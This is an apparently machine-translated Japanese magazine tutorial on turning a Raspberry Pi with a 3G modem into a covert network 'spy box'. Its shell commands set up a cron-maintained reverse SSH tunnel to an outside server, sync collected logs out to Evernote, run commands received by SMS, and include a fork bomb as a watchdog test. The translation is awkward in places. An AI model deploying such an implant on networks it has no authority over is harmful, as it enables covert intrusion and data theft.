Little British Spy-Raspberry Piのブックマーク

Hackerの5月号の大きなテーマはRaspberry Piでした。 「ラズベリー」の作成者であるEben Uptonと話をして、プロジェクトの最初の年の結果と、次の年に小さなコンピューターが待ち望んでいるものを見つけました。 また、ラズベリーに基づいた2つの概念について説明しました:目立たないブックマークは、そのサイズのために、ネットワークからデータをいつでも収集できる(SMSを介してコマンドを受信し、Evernoteでログをドロップする)と、Googleドライブと統合されたビデオ監視システムです。 これらの概念の1つが注目されます。









Dropboxのアイデアは簡単です。ミニチュアコンピューターにバッテリーと3Gモデムを装備すると、調査中のネットワークに静かに接続し、収集したデータを転送するスパイボックスを入手できます。 この概念は、Raspberry Piに完全に実装されています。







今後の見通し:エネルギー消費量が多いため、Dropboxは自社ネットワークでの作業に適しています。 見知らぬ人にとって、彼は単に十分なバッテリーを持っていませんが、概念はまだ魅力的に見えます。 これはすべて、PwnPiディストリビューションに基づいて行います。 その中で、モデムの動作を設定し、SMSでコマンドを受信し、ログをEvernoteに送信する方法を学びます。 私が自由に使えるのは、3GモデムのHuawei E1550(「Megaphone E1550」)でした。



モデムモードに切り替える



多くの3Gモデムは、接続されると、必要なドライバーを事前にインストールするためにディスクのように見え、モデムモードに切り替える必要があります。 E1550モデムはそれらの1つであり、最初は端末として使用できません...



# ls /dev/ttyUSB* ls: cannot access /dev/ttyUSB11*: No such file or directory
      
      





USBデバイスの説明を見てみましょう。



 # lsusb Bus 001 Device 009: ID 12d1:1446 Huawei Technologies Co., Ltd. E1552/E1800/E173 (HSPA modem)
      
      





ただし、ディスクとして表示されます。



 # ls -l /dev/disk/by-id/ usb-HUAWEI_MMC_Storage-0:0 -> ../../sda usb-HUAWEI_Mass_Storage-0:0 -> ../../sr0
      
      





モデムモードに切り替えるには、追加のプログラムをインストールして再起動する必要があります(他のモデムには他の設定が必要な場合があります)。



 # apt-get update && apt-get install usb-modeswitch # reboot
      
      





USBデバイスの説明をもう一度見てみましょう。



 # lsusb Bus 001 Device 010: ID 12d1:1003 Huawei Technologies Co., Ltd. E220 HSDPA Modem / E230/E270/E870 HSDPA/HSUPA Modem
      
      





モデムのデバイスIDが変更され、そのポートが使用可能になったことがわかります。



 # ls /dev/ttyUSB* /dev/ttyUSB0 /dev/ttyUSB1
      
      









PwnPiでの挨拶Bash



minicomを使用してモデムにアクセスする



パフォーマンスをテストするには、ミニコムを使用して、通常のモデムのように「手を差し伸べる」ことができます。



 # apt-get install minicom # minicom -D /dev/ttyUSB0
      
      





ATコマンドを使用して、モデムの製造元に関する情報を要求します



 ati0 Manufacturer: huawei Model: E1550 Revision: 11.608.12.10.209 IMEI: < IMEI   > +GCAP: +CGSM,+DS,+ES OK
      
      





<Ctrl + A + Q>を押して終了します。



サキスとUMTSkeeper



3Gモデムを構成するために必要な最初のプログラムは、3G接続を確立するためのスクリプトであるSakis3Gです。 sakis-3g.orgプロジェクトのホームページはしばらくの間利用できませんが、スクリプトのコピーはsourceforgeにあります。 ダウンロードして解凍し、実行を有効にします。



 # mkdir ~/3g && cd ~/3g # wget http://downloads.sourceforge.net/project/vim-n4n0/sakis3g.tar.gz -O sakis3g.tar.gz # tar -xzvf sakis3g.tar.gz # chmod +x sakis3g
      
      





PPPサポートをインストールする



 # apt-get install ppp
      
      





必要なデータを示して、対話モードで接続を確立してみましょう。



 # ./sakis3g --interactive
      
      





最初のオプション「3Gで接続」を選択し、次のリクエストに応じて「11。 カスタムAPN ...」。 示す(Megafon-Moscowのデータ):



 APN: internet APN_USER: megafon APN_PASS: megafon
      
      





接続が正常に確立された場合、メニューを終了し、インターネットアクセスを確認します。



 # ping google.com
      
      





次のプログラム、UMTSkeeper(zool33.uni-graz.at/petz/umtskeeper)は、接続が切断されたときの自動接続に必要です。 ダウンロードし、解凍して実行を有効にします。



 # mkdir ~/3g && cd 3g # wget http://zool33.uni-graz.at/petz/umtskeeper/src/umtskeeper.tar.gz # tar -xzvf umtskeeper.tar.gz # chmod +x umtskeeper
      
      





UMTSkeeperをチェックして、USBMODEM(ベンダーID:デバイスID、lsusbコマンドを入力したときに表示されます)とCUSTOM_APN、APN_USER、APN_PASS、SIM_PIN(3Gネットワ​​ークに接続するためのデータ)の値を置き換えます:



 # ./umtskeeper --sakisoperators "USBINTERFACE='0' OTHER='USBMODEM' USBMODEM='12d1:1003' APN='CUSTOM_APN' CUSTOM_APN='internet' SIM_PIN='1234' APN_USER='megafon' APN_PASS='megafon'" --sakisswitches "--sudo --console" --devicename 'Huawei' --log --silent --nat 'no'
      
      





別のウィンドウでジャーナルを開くことにより、作業を制御します。



 # tail /var/log/umtskeeper.log -f 2013-04-01 10:37:38 Start: interval=4*8s Internet status: Modem plugged, not connected to internet. 2013-04-01 10:38:27 Internet connection is DOWN. Calling Sakis3G connect... Sakis3G cmdLine: nice ./sakis3g connect --sudo --console USBINTERFACE='0' OTHER='USBMODEM' USBMODEM='12d1:1003' APN='CUSTOM_APN' CUSTOM_APN='internet' SIM_PIN='1234' APN_USER='megafon' APN_PASS='megafon' Sakis3G says... E1550 connected to MegaFon (25002). 2013-04-01 10:39:20 Testing connection... 2013-04-01 10:39:37 Success... we are online!
      
      





/etc/rc.localを編集して、起動時に開始します。



 # nano /etc/rc.local /root/3g/umtskeeper --sakisoperators "USBINTERFACE='0' OTHER='USBMODEM' USBMODEM='12d1:1003' APN='CUSTOM_APN' CUSTOM_APN='internet' SIM_PIN='1234' APN_USER='megafon' APN_PASS='megafon'" --sakisswitches "--sudo --console" --devicename 'Huawei' --log --silent --nat 'no' &
      
      





再起動後に確認してください。





Sakis3Gインターフェイス



リバースssh



3G経由でPwnPiにリモート接続するには、リバースSSHトンネルの生成を構成します(これにはパブリックIPを備えたサーバーが必要です)。

パスワードを入力せずにPwnPiがサーバーに自動的に接続するために、PwnPiで秘密/公開キーを生成し、公開キーをサーバーにコピーします。



 # ssh-keygen # scp /root/.ssh/id_rsa.pub root@< >:/root/
      
      





サーバー(Debianの場合)で、承認済みのリストに公開鍵を追加します。



 $ cat ~/id_rsa.pub >> ~/.ssh/authorized_keys
      
      





PwnPiを使用してサーバーに接続してみましょう。



 # ssh root@< >
      
      





パスワードを要求せずに接続する必要があります。 パスワードがまだ要求され、キーを使用した接続が初めて構成されている場合、このファイル(およびフォルダー全体)へのアクセス権を設定する必要があります。



 # chmod 755 ~ # chmod 700 ~/.ssh # chmod 600 ~/.ssh/authorized_keys
      
      





次に、ポート転送トンネルをセットアップします。 PwnPiの側から:



 # ssh -q -N -R 1221:localhost:22 root@< >
      
      





サーバー側では、ポート1221が接続を待機していますが、インターフェース127.0.0.1のみです。



 # netstat -an |grep 1221 tcp 0 0 127.0.0.1:1221 0.0.0.0:* LISTEN
      
      





サーバー側で、ローカルポートに接続して、リバースSSHを介した接続を確認します。



 # ssh root@localhost -p 1221
      
      





すべてが正しい場合、PwnPiシステムのrootユーザーのパスワードを入力した後、PwnPiにアクセスする必要があります。 サーバー側で、すべてのインターフェイスのポート転送を有効にします。



 # nano /etc/ssh/sshd_config GatewayPorts yes
      
      





ここで、sshdは構成ファイルを再読み取りする必要があります。 それが持っているPIDを見てみましょう:



 # ps aux|grep sshd ... root 23511 0.0 2.1 9920 5376 ? Ss 13:09 0:00 /usr/sbin/sshd ...
      
      





そして彼にHUPシグナルを送信します。



 # kill -hup 23511 # tail /var/log/sshd.log
      
      





これで、PwnPiとの接続を確立した後、プロセスがすべてのインターフェイスでの接続を期待していることがわかります。



 # netstat -an -p |grep 1221 tcp 0 0 0.0.0.0:1221 0.0.0.0:* LISTEN 21990/ sshd: root
      
      





自動起動用のスクリプトを作成し、実行する権利を付与します。



 # nano /root/reverse_ssh_tunnel.sh #!/bin/sh USERHOST=root@< > RPORT=22 #  SSH  FPORT=1221 # ,      CONN=localhost:22 #  SSH Listener  PwnPi COMMAND="ssh -q -N -R $FPORT:$CONN $USERHOST -p $RPORT" pgrep -f -x "$COMMAND" > /dev/null 2>&1 || $COMMAND ssh $USERHOST -p $RPORT netstat -an | egrep "tcp.*:$FPORT.*LISTEN">/dev/null 2>&1 if [ $? -ne 0 ] ; then echo "Restarting connection" pkill -f -x "$COMMAND" $COMMAND else echo 'Connection OK' fi # chmod +x reverse_ssh_tunnel.sh
      
      





crontabで毎分実行することを示す行を追加します。



 # crontab -e */1 * * * * /bin/sh /root/reverse_ssh_tunnel.sh
      
      







データをEvernoteに自動的に保存する



従来のメールから一般的なクラウドサービス、GoogleドライブからEvernoteへのデータの自動転送と保存には多くのオプションがあります。 Geeknoteユーティリティ(www.geeknote.me)を使用してEvernoteにデータを送信できます。



 # wget http://www.geeknote.me/dist/geeknote_latest.deb # sudo dpkg -i geeknote_latest.deb # geeknote login
      
      





Evernoteのログイン詳細を指定します(ユーザーが変更しない場合は、これを1回だけ行う必要があります)。 新しいノートブックを作成し、テストエントリを追加します。



 # geeknote notebook-create --title "PwnPi data" # geeknote create --notebook "PwnPi" --title "Test" --content "Test note"
      
      





Geeknoteは、パッケージに含まれているgnsyncユーティリティを使用して、指定されたディレクトリ内のテキストファイルの自動同期をサポートしています。 同期するには、次のキーを使用して実行する必要があります(ディレクトリは同期されています

/ルート):



 # gnsync --path /root --mask *.log --notebook "PwnPi"
      
      







SMS管理



残念ながら、3Gの動作は安定していません。 そのため、追加として、Gammuパッケージを使用してコマンドの転送(再起動など)とSMS通知を実装できます。



 # apt-get install gammu # gammu-config
      
      





メニューでポート/ dev / ttyUSB1を設定します(/ dev / ttyUSB0は3G用に構成されました)。 デバイスの説明を要求します。



 # gammu --identify  : /dev/ttyUSB1 Manufacturer : Huawei  : E1550 (E1550) Firmware : 11.608.12.10.209 IMEI : 351911043904005  SIM (IMSI) : 250026700613366
      
      





監視モードを有効にして、テストメッセージの送信を試行できます。



 # gammu --monitor # echo "test from PwnPi" | gammu sendsms TEXT +7< >
      
      





ロシア語(PwnPiのUnicodeロケールはデフォルトでは設定されていません)の場合、-unicodeスイッチを使用できます。





Gammuオプション



SMSを受信



SMSを受信するには、インストールする必要があります



 # apt-get install gammu-smsd
      
      





そして、構成で3Gモデムの同じポートを指定します。



 # nano /etc/gammu-smsdrc [gammu] port=/dev/ttyUSB1
      
      





サービスとして実行し、ログを確認します。



 # gammu-smsd --daemon # tail -f /var/log/syslog
      
      





受信メッセージは次のフォルダーに保存されます。



 # cd /var/spool/gammu/inbox && ls IN20130402_193338_00_+7< >_00.txt
      
      





内部には受信したSMSテキストが含まれます。 SMSからコマンドを実行するスクリプトを作成します。 以下の例では、テキスト「uptime」を受信すると、uptimeコマンドの結果とともにメッセージが送信者に送信されます。



 $ nano smscheck #!/bin/bash for file in `ls /var/spool/gammu/inbox` do cmd=`cat /var/spool/gammu/inbox/$file` case "$cmd" in "uptime") echo `uptime` > /var/spool/gammu/outbox/OUT+7< >.txt ;; esac rm -f /var/spool/gammu/inbox/$file done # chmod +x smscheck
      
      





テストメッセージは既に/ var / spool / gammu / inboxフォルダーにあるはずなので、このスクリプトを実行し、正しいメッセージが送信されることを確認してください。 次のエントリを使用して、1分の頻度でcrontabに追加します。



 # crontab -e */1 * * * * /home/pi/smscheck
      
      





システムを再起動し、構成の操作性を確認します。



フォロワーをフォローしている人



最新のマイクロコントローラでは、多くのツールを使用して、メンテナンスフリーモードで組み込みデバイスの信頼性を高めることができます。 このために設計されたメカニズムの1つは、デバイスがフリーズした場合にデバイスを再起動できるようにするハードウェアウォッチドッグタイマーです。 パフォーマンスを監視する必要があるプログラムは、このタイマーを定期的にリセットする必要があります。 彼女がこれをやめた場合、タイマーはしきい値を超え、リセット信号がプロセッサに送信されます。 Linuxでは、ウォッチドッグサポートソフトウェアは2つの部分で構成されています。ウォッチドッグタイマードライバーと、システム全体の状態を監視するウォッチドッグデーモンです。



ウォッチドッグドライバー



ドライバーモジュールのダウンロード:



 # sudo modprobe bcm2708_wdog
      
      





スタートアップモジュールのリストへの追加:



 # echo "bcm2708_wdog" | sudo tee -a /etc/modules
      
      





デバイスが開かれると、ウォッチドッグタイマーが開始します。 文字を送信するとリセットされます。 V記号はタイマーを無効にします。 次のようにパフォーマンスを確認できます。



 # cat > /dev/watchdog
      
      





現在、キーボードからの行の入力のみが再起動から分離されています(catコマンドは入力されたテキストを1行ずつ転送します)。 文字Vを入力してから、カウントダウンを停止します。



ウォッチドッグデーモン



watchdogパッケージは2つのデーモンで構成されています:簡略化されたwd_keepaliveと、より多くの機能を提供するメインのwatchdogです。 これを使用すると、システムの負荷だけでなく、使用可能なメモリの量、個々のファイルへのアクセス、pingコマンドを使用したノードの可用性などのパラメーターも制御できます。



 # apt-get install watchdog #  # update-rc.d watchdog defaults #   
      
      





/etc/watchdog.confで設定するには、いくつかの行のコメントを外す必要があります。



 # nano /etc/watchdog.conf watchdog-device = /dev/watchdog max-load-1 = 24
      
      





手動スタート



 # /etc/init.d/watchdog start
      
      







確認する



ウォッチドッグ構成が機能しているかどうかを確認する最も簡単な方法は、コマンドラインでいわゆるfork bombを入力することです。



 : (){ :|:& };:
      
      





システムはすぐに応答を停止し、すべてが正しく構成されていれば、数秒後に再起動します。



自律的な食べ物



接続されたアクティブなWi-Fi(D-Link DWA-140 B2)および3G(Huawei E1550)アダプターを搭載したRaspberry Piは、約700-800 mAを消費します。 現在利用可能な十分にコンパクトな外部リチウム電池の容量は最大20アンペア時であり、最大24時間の電池寿命を提供できます。 RPiを単なる多機能デバイスと考えると、非常に優れています。 ただし、長期間の非表示のインストールには、USBポートまたはコンセントなどの外部電源が必要です。



まとめ



軽薄に見えるため、Raspberry Piは危険なツールになる可能性がありますが、消費電力が大きいため、オフラインでの作業が制限されます。 ただし、これまでで最も機能的な類似物であるPWNIE Expressの商用侵入テストツールは、まったく異なる価格カテゴリーにあります。





2013年5月5日付のHacker誌に最初に掲載されました。

作成者:Alexander Lykoshin、 alykoshin @ gmail.comligne.ru



ISSUU.comに公開する



ハッカーを購読する












All Articles